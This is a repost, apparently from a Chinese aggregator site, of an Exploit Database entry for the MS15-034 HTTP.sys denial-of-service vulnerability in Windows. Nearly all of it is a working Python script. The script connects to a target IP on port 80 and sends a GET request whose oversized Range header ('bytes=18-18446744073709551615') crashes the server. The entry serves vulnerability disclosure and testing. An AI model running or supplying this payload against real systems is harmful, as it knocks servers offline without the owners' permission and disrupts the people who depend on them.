Microsoft Windows – ‘HTTP.sys’ HTTP Request Parsing Denial of Service (MS15-034)

Exploit Database
122 阅读

作者： laurent gaffie

日期： 2015-04-16
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/36776/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#Tested on Win Srv 2012R2.

import socket,sys

if len(sys.argv)<=1:

sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((Host, 80))

s.send(Payload)

s.recv(1024)

s.close()

#Make sure iisstart.htm exist.

Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"

Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)

SendPayload(Payload, Host)